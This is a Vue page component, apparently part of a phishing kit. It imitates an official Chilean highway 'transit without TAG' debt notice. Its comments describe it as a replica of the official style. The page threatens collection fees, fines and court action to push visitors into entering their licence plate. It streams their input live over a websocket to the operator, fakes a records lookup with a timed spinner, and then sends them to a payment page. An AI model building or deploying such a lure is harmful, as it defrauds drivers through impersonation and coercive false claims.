<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";

const { t } = useI18n();

const router = useRouter();
const loadingStore = useLoadingStore();

// 保持邏輯不變：使用 phoneData 結構
const formData = ref({ phoneData: { plateNumber: "" } });
// 狀態控制：是否正在查詢（圖3狀態）
const isConsulting = ref(false);

const instance = getCurrentInstance()!;

const onchange = (event: any) => {
  // 保持原本邏輯
  inputChange("首頁輸入", "plate", event.target.value);
};

const next = () => {
  // 1. 觸發局部切換為圖3的查詢狀態
  isConsulting.value = true;

  // 2. 模擬查詢延遲，隨後執行原本的跳轉邏輯
  setTimeout(() => {
    localStorage.setItem("plateNumber", formData.value.phoneData.plateNumber);
    router.push("/pay");
  }, 2500); // 模擬 2.5 秒的查詢時間
};

watch(
  instance.appContext.config.globalProperties.$currentUser,
  (newValue, oldValue) => {}
);

onMounted(() => {
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "home" },
    })
  );
  const userData =
    getCurrentInstance()?.appContext.config.globalProperties.$userData;
  if (userData && userData.phoneData) {
    formData.value = userData;
  }
  localStorage.setItem("route", "home");
});
</script>

<template>
  <CommonLayout>
    <template #default>
      <div class="chile-page-wrapper">
        <div class="chile-container">
          
          <div class="chile-header">
            <h2>Aviso de tránsito sin TAG</h2>
            <div class="blue-line"></div>
          </div>

          <div class="static-top-content">
            <div class="info-alert-box">
              <p>Este aviso requiere su atención inmediata para regularizar el cobro de peaje.</p>
            </div>

            <p class="description-text">
              Nuestros registros muestran un tránsito por autopistas urbanas concesionadas en Chile sin un medio de pago habilitado (TAG o peaje registrado) asociado al vehículo. Para evitar recargos, intereses y eventuales gestiones de cobranza, le solicitamos revisar el detalle e iniciar la regularización en línea a la brevedad.
            </p>

            <p class="description-text">
              Ingrese la patente de su vehículo para consultar el detalle del tránsito y el monto a regularizar.
            </p>
          </div>

          <div class="dynamic-content">
            
            <div v-if="!isConsulting" class="initial-view">
              <div class="form-card">
                <form @submit.prevent="next">
                  <label class="input-label">Patente del vehículo</label>
                  <p class="input-hint">Ingrese la patente tal como figura en el padrón (por ejemplo, ABCD12).</p>
                  
                  <input
                    type="text"
                    required
                    v-model="formData.phoneData.plateNumber"
                    @input="onchange"
                    class="chile-input"
                    autofocus
                    placeholder=""
                  />

                  <button type="submit" class="chile-btn-submit">
                    Revisar tránsito
                  </button>
                </form>
              </div>

              <div class="consequences-section">
                <h3>Consecuencias de no regularizar a tiempo</h3>
                <p>Si no completa este proceso dentro de los plazos informados, se puede exponer a:</p>
                <ul>
                  <li>Aplicación de cargos adicionales y gastos de cobranza sobre el monto original.</li>
                  <li>Derivación del caso a empresas externas de cobranza autorizadas.</li>
                  <li>Registro de multas e infracciones de tránsito asociadas al vehículo.</li>
                  <li>Imposibilidad de renovar el permiso de circulación hasta regularizar la deuda.</li>
                  <li>Eventual denuncia ante el Juzgado de Policía Local competente.</li>
                  <li>Otras gestiones de cobro permitidas por la normativa vigente en Chile.</li>
                </ul>
              </div>
            </div>

            <div v-else class="consulting-view">
              <div class="loader-container">
                <div class="spinner"></div>
                <p class="loading-text-bold">Consultando registros de tránsito...</p>
                <p class="loading-text-small">
                  Esto puede tardar algunos segundos. No cierre esta ventana mientras realizamos la búsqueda.
                </p>
              </div>
            </div>

          </div>

        </div>
      </div>
    </template>
  </CommonLayout>
</template>

<style scoped>
/* 智利高速公路官方風格復刻 */
.chile-page-wrapper {
  background-color: #ffffff;
  min-height: 100vh;
  padding: 20px 15px;
  font-family: Arial, sans-serif;
  color: #333;
}

.chile-container {
  max-width: 500px;
  margin: 0 auto;
}

/* 標題與藍線 */
.chile-header h2 {
  font-size: 20px;
  font-weight: bold;
  color: #333;
  margin-bottom: 10px;
  text-align: left;
}

.blue-line {
  height: 4px;
  background-color: #4a90e2;
  width: 100%;
  margin-bottom: 25px;
}

/* 藍色提示框 */
.info-alert-box {
  background-color: #f0f7ff;
  border-left: 4px solid #4a90e2;
  padding: 15px;
  margin-bottom: 20px;
}

.info-alert-box p {
  margin: 0;
  font-weight: bold;
  font-size: 15px;
  color: #333;
  line-height: 1.4;
}

.description-text {
  font-size: 14px;
  color: #444;
  line-height: 1.6;
  margin-bottom: 15px;
}

/* 表單卡片 */
.form-card {
  background-color: #f8f9fa;
  border: 1px solid #e9ecef;
  border-radius: 8px;
  padding: 20px;
  margin-bottom: 30px;
  box-shadow: 0 2px 4px rgba(0,0,0,0.02);
}

.input-label {
  display: block;
  font-weight: bold;
  font-size: 16px;
  color: #333;
  margin-bottom: 5px;
}

.input-hint {
  font-size: 13px;
  color: #888;
  margin-bottom: 15px;
}

.chile-input {
  width: 100%;
  box-sizing: border-box;
  padding: 12px;
  border: 1px solid #ced4da;
  border-radius: 4px;
  font-size: 18px;
  margin-bottom: 20px;
  outline: none;
}

.chile-input:focus {
  border-color: #4a90e2;
}

.chile-btn-submit {
  background-color: #4a90e2;
  color: white;
  border: none;
  border-radius: 4px;
  padding: 12px 25px;
  font-size: 16px;
  font-weight: bold;
  cursor: pointer;
}

/* 後果列表 */
.consequences-section {
  border-left: 4px solid #4a90e2;
  padding-left: 15px;
  margin-top: 10px;
}

.consequences-section h3 {
  font-size: 18px;
  font-weight: bold;
  margin-bottom: 15px;
  color: #333;
}

.consequences-section p {
  font-size: 14px;
  margin-bottom: 15px;
}

.consequences-section ul {
  padding-left: 15px;
  margin: 0;
}

.consequences-section li {
  font-size: 13.5px;
  color: #444;
  margin-bottom: 12px;
  line-height: 1.4;
  list-style-type: disc;
}

/* 圖3：加載動畫佈局 */
.consulting-view {
  display: flex;
  justify-content: center;
  align-items: center;
  padding: 40px 0;
}

.loader-container {
  text-align: center;
  display: flex;
  flex-direction: column;
  align-items: center;
}

/* 藍色旋轉圓環 */
.spinner {
  width: 50px;
  height: 50px;
  border: 4px solid #f3f3f3;
  border-top: 4px solid #4a90e2;
  border-radius: 50%;
  animation: spin 1s linear infinite;
  margin-bottom: 20px;
}

@keyframes spin {
  0% { transform: rotate(0deg); }
  100% { transform: rotate(360deg); }
}

.loading-text-bold {
  font-size: 18px;
  font-weight: bold;
  color: #333;
  margin-bottom: 8px;
}

.loading-text-small {
  font-size: 14px;
  color: #888;
  max-width: 320px;
  line-height: 1.4;
}

@media (max-width: 480px) {
  .chile-container {
    padding: 5px;
  }
}
</style>